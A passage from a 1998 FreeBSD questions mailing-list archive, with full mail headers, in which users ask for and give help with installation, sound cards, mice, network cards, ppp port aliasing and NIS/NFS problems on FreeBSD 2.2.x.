-- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:33:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA22438 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:33:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA22411 for ; Mon, 6 Apr 1998 18:33:04 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id SAA04326; Mon, 6 Apr 1998 18:32:51 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <35298243.240B2A37@san.rr.com> Date: Mon, 06 Apr 1998 18:32:51 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: "Chan, Fook Sheng" CC: freebsd-questions@FreeBSD.ORG Subject: Re: can't copy boot.flp to a floppy References: <35287459.A8C96DA1@capgemini.com.sg> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chan, Fook Sheng wrote: > > Hi > > I get "boot.flp - File is too big" when I run "fdimage boot.flp a:" > Pls help. You probably transferred the file in ascii mode instead of binary mode. Use a real ftp client and make sure to set binary mode before you start the transfer. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:41:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA23714 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:41:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from info.tsu.ru (info.tsu.ru [212.192.100.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23695 for ; Mon, 6 Apr 1998 18:41:24 -0700 (PDT) (envelope-from vas@vas.tsu.tomsk.su) Received: (from uucp@localhost) by info.tsu.ru (8.8.7/8.8.7) with UUCP id JAA00146 for questions@freebsd.org; Tue, 7 Apr 1998 09:42:27 +0800 (TSD) (envelope-from vas@vas.tsu.tomsk.su) Received: (from vas@localhost) by vas.tsu.tomsk.su (8.8.8/8.8.8) id BAA01175 for questions@freebsd.org; Mon, 6 Apr 1998 01:14:15 +0800 (KRSS) From: Victor Sudakov Message-Id: <199804051714.BAA01175@vas.tsu.tomsk.su> Subject: Problem playing MPEG files To: questions@FreeBSD.ORG (freebsd questions mailing list) Date: Mon, 6 Apr 1998 01:14:14 +0800 (KRSS) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello. Could you please help me on playing MPEG files. I have an ESS ES688 AudioDrive card, on bootup it defaults to IRQ7. It does very well play MPEGs with WinAmp for Windows 95. When I try to play the same MPEG files on the same hardware under FreeBSD 2.2.2, I get the following message from mpg123: vas: {3} mpg123 mc.mp3 High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. Uses code from various people. See 'README' for more! THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! No supported audio format found! In test mode it is OK: vas: {10} mpg123 -t mc.mp3 High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. Uses code from various people. See 'README' for more! THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! Playing MPEG stream from mc.mp3 ... MPEG 1.0 layer III, 128 kbit/s, 44100 Hz joint-stereo I might think that my sound card is misconfigured. Indeed, something may be wrong with it. However, timidity does work, so do 'cat file.au > /dev/audio' and xanim with sound. This is what I have in my kernel config, then I changed the IRQ from 5 to 7 in the 'boot -c' visual editor. vas: {8} less /sys/i386/conf/VAS #Sound setup pseudo-device speaker controller snd0 device sb0 at isa? port 0x220 irq 5 conflicts drq 1 vector sbintr device sbxvi0 at isa? drq 5 device sbmidi0 at isa? port 0x330 device opl0 at isa? port 0x388 options "SBC_IRQ=5" vas: {6} dmesg sb0 at 0x220 irq 7 drq 1 on isa sb0: sbxvi0 not found sbmidi0 not found at 0x330 opl0 at 0x388 on isa opl0: vas: {6} cat /dev/sndstat VoxWare Sound Driver:3.0-beta-950506 (Sun Feb 5 14:38:12 EST 1995 freebsd-hackers@freefall.cdrom.com) Config options: ffffffff Installed drivers: Type 1: OPL-2/OPL-3 FM Type 2: SoundBlaster Type 6: SoundBlaster16 Type 7: SB16 MIDI Card config: SoundBlaster at 0x220 irq 7 drq 1 (SoundBlaster16 at 0x0 irq 65535 drq 5) (SB16 MIDI at 0x330 irq 65535 drq 4294967295) OPL-2/OPL-3 FM at 0x388 irq 65535 drq 4294967295 Audio devices: 0: SoundBlaster Pro 3.1 Synth devices: 0: Yamaha OPL-3 Midi devices: 0: SoundBlaster Timers: 0: System Timer Mixers: 0: SoundBlaster I would appreciate any input. -- Victor Sudakov mailto:vas@obluo.tomsk.su http://www.obluo.tomsk.su/~vas PGP public key: finger vas@obluo.tomsk.su To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:42:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA23975 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:42:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bellnet-mail3.sbell.com.cn (bellnet-mail3.sbell.com.cn [202.96.203.172]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23946 for ; Mon, 6 Apr 1998 18:42:19 -0700 (PDT) (envelope-from ShenRen@sbell.com.cn) Received: by bellnet-mail3.sbell.com.cn with Internet Mail Service (5.0.1460.8) id ; Tue, 7 Apr 1998 09:41:43 +0800 Message-ID: <77D4835D5290D111B8CC00805FE6AAD507275D@bellnet-mail1.sbell.com.cn> From: SCS Shen Ren To: "'freebsd-questions@FreeBSD.org'" Subject: Installation problem Date: Tue, 7 Apr 1998 09:39:05 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sir: I'm upgrading a FreeBSD 2.2.5 system thesedays . The current system is minimon installed, without X window and enough packages .I want those features available. So first I got the packages and Xfree86, and copied them to a DOS patition, then rebooted the machine with a floppy and enter the sysinstallation. I entered the "post installation" then "packages" , after choosing media and packages, I chose "install". But it was failed with "unable to fetch xxxxxxxxx from selected media, ......". I cheched the DOS patition, it seemed as: c:----freebsd----packages--------shells---- bash-1.14.7.tgz | ...... | | ----math------ ...... | | ----www------- ...... | ...... I don't realize what's the matter even now . I notic that the Index file could be fetched and explaned well , it seems at least something in the patition can be recognized . and then I tried to install the packages from floppies , but the same thing appeared. It took me about 3 days but reward me nothing, even an clue, ...... , shut ! Then I made another effort to install the Xfree86 , but this time I was told that the sysinstallation sopport only the Xfree86331 but I recieved Xfree86332 , so it can't recognize it .? My god, I almost lose my confidence . So please help me, You are the last emancipator . A lot, a lot, a lot of thanks !!! (by the way , I do all file operations on win95 , is that the crux?) Hawk.R.S apr 07 ,1998 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:42:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24066 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:42:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mtigwc04.worldnet.att.net (mtigwc04.worldnet.att.net [204.127.131.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23945 for ; Mon, 6 Apr 1998 18:42:18 -0700 (PDT) (envelope-from dcr10@worldnet.att.net) Received: from dcr ([12.64.160.43]) by mtigwc04.worldnet.att.net (post.office MTA v2.0 0613 ) with ESMTP id AAA25508 for ; Tue, 7 Apr 1998 01:41:36 +0000 Reply-To: From: "Diana Roman" To: Subject: Help me!!!!! : ( Date: Mon, 6 Apr 1998 18:41:58 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1157 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Message-ID: <19980407014134.AAA25508@dcr> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there, I'm running into a problem (or problems?) in the installation process. I made myself a boot disk, and I'm trying to install FreeBSD on my 486 laptop, which is currently running no other OS or anything. I have a suspicion that the install program isn't finding my PCMCIA modem... When I go to the full-screen visual kernel configuration, there are 23 conflicts in the various devices. So, I delete all of them, then tab down to the 'add' field, and add device ze0, the 'IBM/National Semiconductor PCMCIA Ethernet Adaptor', as suggested in the FAQ. After I save the configuration, I get a screen with a list of the devices and whether they are detected or not, but ze0 scrolls past too quickly for me to see whether it is okay or not. I hope I'm explaining this correctly!! Then I go to the FreeBSD Disklabel editor and choose A, since I'm devoting the whole drive to BSD - it prompts me for a mount point for the partition, and I'm not sure what to enter here. I've been entering '/0' because it seems to accept this answer (stupid and wrong, I know). Then I get a message - "PP command started on VTY3, blah blah blah," so I hit Alt-F3 and get a new screen with the prompt "ppp ON> Warning: Can't create /var/run/tun0.pid: No such file or directory." So, I type "term" and get the prompt "Warning: Can't create /var/run/cuaa0.if: No such file or directory. Enter to terminal mode. Type "~?" for help." At which point I assume I would type "ATDT5974904" (my ISP's dial-in number) but the keyboard has frozen up and I have to do the old three-finger salute to reboot the machine. What am I doing wrong!??? I have the feeling it's something pretty dumb, but I don't know what. This is so frusterating.... : ( To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:53:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA25523 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:53:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from marlin.corp.gulf.net (root@marlin.corp.gulf.net [198.69.72.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA25345; Mon, 6 Apr 1998 18:51:55 -0700 (PDT) (envelope-from tbackman@corp.gulf.net) Received: from marlin.corp.gulf.net (tbackman@marlin.corp.gulf.net [206.105.61.2]) by marlin.corp.gulf.net (8.8.8/8.8.5) with SMTP id UAA15423; Mon, 6 Apr 1998 20:50:19 -0500 (CDT) Date: Mon, 6 Apr 1998 20:50:18 -0500 (CDT) From: Todd Backman To: freebsd-questions@FreeBSD.ORG cc: freebsd-isp@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: SDL N2dds Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone use the SDL N2dds successfully with FreeBSD? I am trying two set up two machines with the cards w/2.2.5 and am having a hell of a time. device sr0 at isa? port 0x340 net irq 11 iomem 0xd0000 vector srintr network_interfaces="sr0 ed1 lo0" ifconfig_sr0="inet xxx.xxx.xx.xxx xxx.xxx.xx.xxx flags 0x1 netmask 255.... ^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^ ^^^^^^^ local IP Remote IP subnet Kernel sppp The kernel sees it correctly with no conflicts. When I bring up the interface I get odd recurring errors (I cant remember exactly and it is off site) the error includes something like: ST01 TR05 DG07 (again I did not write the errors down like a dumbass) The boxen also have Genius NIC in them with different IPs. location A setup: csu/dsu feeds a 8 port hub. freebsd box connects to port on hub through NIC. Cable from SDL card to 56k line that runs to location B (150 yards) location B setup: line from 56k line to SDL card on second machine. cable from freebsd box to main port on hub to serve 6 machines at that location. SDL has NO support for FreeBSD. Thanks in advance for any help. ===================================================================== Todd Backman (tbackman@corp.gulf.net) Network Engineering Systems/POP Administration Gulf Coast Internet Company 1-800-444-INET To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:03:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA27249 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:03:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fciencias.ens.uabc.mx ([148.231.177.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA27218 for ; Mon, 6 Apr 1998 19:03:07 -0700 (PDT) (envelope-from mbarbosa@fciencias.ens.uabc.mx) Received: (from mbarbosa@localhost) by fciencias.ens.uabc.mx (8.8.7/8.8.7) id TAA12153 for freebsd-questions@freebsd.org; Mon, 6 Apr 1998 19:05:30 -0700 (PDT) (envelope-from mbarbosa) From: "Marco A. Barbosa S." Message-Id: <199804070205.TAA12153@fciencias.ens.uabc.mx> Subject: nis/nfs problem try 2 To: freebsd-questions@FreeBSD.ORG Date: Mon, 6 Apr 1998 19:05:30 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ooops I think someone is going to be mad at me... anyway... hypothetical situation... 2 2.2.5 RELEASE FreeBSD boxes 1.- Fciencias nis/nfs client 2.- Xcalibur nis/nfs server problem: network segment on LAN (novell netware,ethernet,thin coax ) is ok, but Xcalibur gets stuck. If someone is logged in Fciencias, they still have net access to everywhere, but Xcalibur gets isolated. Any user in Fciencias, loses files and noone else can login due to nis/dns failure. After a few minutes, things get back to normal, but its pretty annoying to not be able to log into Fciencias, cuz its the main mail server and web server and other stuff. hmmm we (I personally) suspected Xcalibur's NIC (Network Interface Card) but... then I was enlightened somehow and in one of those "crashes" I went to the Xcalibur console and thought about restarting the nfsd's but.. I decided to just warm-jump-start them with a killall -hup... and miracoulously things got online again... Ideas? comments? help? need config files? system specs? anything? thanks.. -- ************************************* * Marco Antonio Barbosa Santoyo * * Facultad de Ciencias, U.A.B.C. * * Ensenada, Baja California, Mexico * ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:05:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA27946 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:05:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail.ahnet.net [207.213.224.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA27838 for ; Mon, 6 Apr 1998 19:05:19 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p3.apc.net [207.211.76.157]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id SAA06279 for ; Mon, 6 Apr 1998 18:57:22 -0700 (PDT) Message-Id: <3.0.5.32.19980406185734.0091d890@mail.zwb.net> X-Sender: 5808.dima@mail.zwb.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 06 Apr 1998 18:57:34 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: Kernel Configurtion Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: I hope I'm sending this to the right place... I'm writing my kernel configuration file, just from the handbook, and, I'm running into questions (not problems, as I didn't try to compile it): I see alot of 'isa?'s. Should I replace these with 'isa0', because in the GENERIC file, they are left as 'isa?' On the entry 'device lpt0...', what should 'port?' be? It is explained at http://www.freebsd.org/handbook/handbook47.html. Thanks for your help! Dima --- Thanks! Dima Dorfman - WebMaster/Administrator, zWeb webmaster@zwb.net http://www.zwb.net/ "640k ought to be enough for anybody." - Bill Gates, 1981 "I am not a crook!" - Al Capone "Microsoft is not a monopoly!" - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:06:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA28318 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:06:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from logon.log.on.ca (root@log.on.ca [205.207.183.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA28269 for ; Mon, 6 Apr 1998 19:06:24 -0700 (PDT) (envelope-from andrew@log.on.ca) Received: from [192.168.1.3](ppp0015.log.on.ca[205.207.183.50]) (1085 bytes) by logon.log.on.ca via sendmail with P:smtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Mon, 6 Apr 1998 22:06:16 -0400 (EDT) (Smail-3.2.0.101 1997-Dec-17 #2 built 1997-Dec-18) Message-Id: To: "freebsd-questions@freebsd.org" Subject: Re: Using ICQ with an IP alias Date: Mon, 06 Apr 98 22:09:58 -0500 From: Andrew Stevens X-Mailer: E-Mail Connection v2.5.03 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- Jon, Thanks for the reply: >alias port udp 10.10.0.10:21 21 <<<<--change 21 to 3001 and so on... >alias port tcp 10.10.0.10:21 21 I added the above two lines into ppp.conf with the following revisions: alias port udp 192.168.1.3:8080 8080 (192.168.1.3 being the IP of my windows box; 8080 being the port I assigned to the web server there.) alias port tcp 192.168.1.3:8080 8080 When I attempted to call up the web server on my Windows machine (by typing "telnet my.current.ip 8080" from the UNIX box), it said "unable to connect to remote host: Connection refused". Is there another file which needs to be amended? Thanks, Andrew Stevens. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:18:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA00538 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:18:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA00527 for ; Mon, 6 Apr 1998 19:18:09 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id WAA18982; Mon, 6 Apr 1998 22:21:32 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id WAA07598; Mon, 6 Apr 1998 22:17:56 -0400 (EDT) Message-ID: <35294690.FE515469@vt.edu> Date: Mon, 06 Apr 1998 21:18:08 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: Victor Sudakov CC: freebsd questions mailing list Subject: Re: Problem playing MPEG files References: <199804051714.BAA01175@vas.tsu.tomsk.su> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Victor Sudakov wrote: > vas: {10} mpg123 -t mc.mp3 > High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. > Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. > Uses code from various people. See 'README' for more! > THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! > > Playing MPEG stream from mc.mp3 ... > MPEG 1.0 layer III, 128 kbit/s, 44100 Hz joint-stereo My guess is that this is a software error. Try using a different player, such as splay, or amp. Many of the players do not support all layers of encoding, and last I checked, mpg123 was one of these. Cheers, Brandon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:41:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02940 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:41:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.interpath.net (mail.interpath.net [199.72.1.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02689 for ; Mon, 6 Apr 1998 19:40:13 -0700 (PDT) (envelope-from skovian@interpath.com) Received: from interpath.com (ecity0-060.dyn.interpath.net [207.59.122.60]) by mail.interpath.net (8.8.8/v1.0) with ESMTP id WAA22289 for ; Mon, 6 Apr 1998 22:38:26 -0400 (EDT) Message-ID: <352993B7.2802890C@interpath.com> Date: Mon, 06 Apr 1998 22:47:19 -0400 From: "Michael E. Jaskowiak" X-Mailer: Mozilla 4.04 [en] (Win95; U) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: ps2 mouse Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello. It's Michael Jaskowiak again. I have had tremendous success setting up a sound card on a computer at work, now it's time to work on one at home. The trouble that I am having is with my mouse. The mouse is a logitech mouseman ps2. The rest of the system is an ASUS P2L97 motherboard, Pentium 2 300 chip, 64 Megs of RAM, 2.1 Gig Maxtor, US Robotics 57.6k Sportster, a soundBlaster AWE 64 sound card, and Canopus Total3D and Pure3D video cards (the system also runs Windows 95 for gaming). What happens is that when I try to use the XF86Setup command, if I move the mouse ever so slightly, the cursor moves to the upper left corner and stays there. It might move about one fifth the distance across the top or down the monitor screen. I have tried the xf86setup command also with no better luck. I have also recompiled the kernel taking the disable from the psm0 line and changed the mouse from /dev/cuaa0 to /dev/psm0 in /etc/rc.conf. When I recompiled the kernel, I did not enable any other options for the mouse. I have tried several things that were suggested by people on various newsgroups to no avail. I would prefer to fix this installation rather than re-install the FreeBSD from the beginning but it would really be no problem. The version of FreeBSD is 2.2.5. Thank you in advance for your wonderful help. Michael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:48:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04032 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:48:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tera.com (tera.tera.com [207.108.223.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04021 for ; Mon, 6 Apr 1998 19:48:42 -0700 (PDT) (envelope-from kline@tao.thought.org) Received: (from uucp@localhost) by tera.com (8.8.7/8.8.7) with UUCP id TAA14000 for freebsd-questions@FreeBSD.ORG; Mon, 6 Apr 1998 19:48:05 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.8.5/8.7.3) id TAA07853 for freebsd-questions@FreeBSD.ORG; Mon, 6 Apr 1998 19:44:10 -0700 (PDT) From: Gary Kline Message-Id: <199804070244.TAA07853@tao.thought.org> Subject: configuring a no-name microsoft mouse To: freebsd-questions@FreeBSD.ORG (FreeBSD Mailing List) Date: Mon, 6 Apr 1998 19:44:10 -0700 (PDT) Organization: <> thought.org: public access uNix in service... <> X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a `Belkin' (no-name, really) microsoft mouse and am having trouble getting the middle button to work. X86Setup is a help for other X-configuration things, but hasn't helped me with this mouse. The right and left buttons do work, tho. Does anybody have the correct configuration for this type of mouse? TIA, gary -- Gary D. Kline kline@tao.thought.org Public service uNix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:55:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04812 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:55:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mutsgo.dyn.ml.org (root@dal23-09.ppp.iadfw.net [206.66.5.202]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04803 for ; Mon, 6 Apr 1998 19:54:56 -0700 (PDT) (envelope-from vagner@mutsgo.dyn.ml.org) Received: from mutsgo.dyn.ml.org (mugsy.dyn.ml.org [192.168.0.2]) by mutsgo.dyn.ml.org (8.8.8/8.8.7) with ESMTP id VAA20628; Mon, 6 Apr 1998 21:54:37 -0500 (CDT) (envelope-from vagner@mutsgo.dyn.ml.org) Message-ID: <35299598.2352DFE0@mutsgo.dyn.ml.org> Date: Mon, 06 Apr 1998 21:55:20 -0500 From: Laszlo Vagner X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: Dennis Ostrovsky CC: freebsd-questions@FreeBSD.ORG Subject: Re: Intel EtherExpress Pro/10 PCI References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am using the ether express pro 10 + pci and it says the same thing on boot up showing no driver assigned, i just added fxp0 to my interfaces line in rc.conf and ifconfiged the interface and it works fine. Dennis Ostrovsky wrote: > I'm wondering how to get my ethernet card to have assigned a driver to it. > On boot up it's recognized, but then ignored. It is currently not > connected to any network. > > pci0:9: Intel Corporation, device=0x1226, class=network (ethernet) int > a irq 11 [no driver assigned] > > fxp0 is the pci driver for the 100 card, and I'm pretty sure that ex0 is > for the 10 isa card...it was in the generic kernel (which I've since rebuilt) > but it wasn't recognized. I'm running FreeBSD 2.2.5-Release. Is there a > driver for the PCI version? > > Thanks. > > --------------------------------------------------------------------- > Dennis Ostrovsky | E-mail: den@master.chem.yale.edu > Department of Chemistry | > Yale University | WWW: http://pantheon.yale.edu/~do33 > --------------------------------------------------------------------- > Technology has met its promise of reducing our work load. It does > this primarily by preventing us from doing any work at all. (Dilbert) > --------------------------------------------------------------------- > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:56:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA05369 for freebsd-questions-outgoing; Mon, 6 Apr 1998 19:56:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04761; Mon, 6 Apr 1998 19:54:29 -0700 (PDT) (envelope-from wsanchez@mail.apple.com) Received: from scv2.apple.com (A17-128-100-140.apple.com [17.128.100.140]) by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id TAA08754; Mon, 6 Apr 1998 19:42:59 -0700 Received: from [17.202.43.214] (elwood.apple.com [17.202.43.214]) by scv2.apple.com (8.8.5/8.8.5) with SMTP id TAA16734; Mon, 6 Apr 1998 19:42:56 -0700 Message-Id: <199804070242.TAA16734@scv2.apple.com> Subject: Re: Small Request Date: Mon, 6 Apr 98 18:43:04 -0800 x-sender: wsanchez@mail.apple.com x-mailer: Claris Emailer 2.0v2, June 6, 1997 From: Wilfredo Sanchez To: "dannyman" , , , Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Go to www.dejanews.com and search for "Apple FreeBSD Wilfredo" > :) Yeah, OK, it won't kill me. I'll just keep it in mind. Thanks. :-) -Fred --- Wilfredo Sanchez - wsanchez@apple.com - 408.974-5174 Apple Computer, Inc. - Rhapsody Core Operating Systems Group 2 Infinite Loop, Mail Stop 302-4K, Cupertino, CA 95014 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 19:59:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA06401 for freebsd-questions-outgoing; Mon, 6 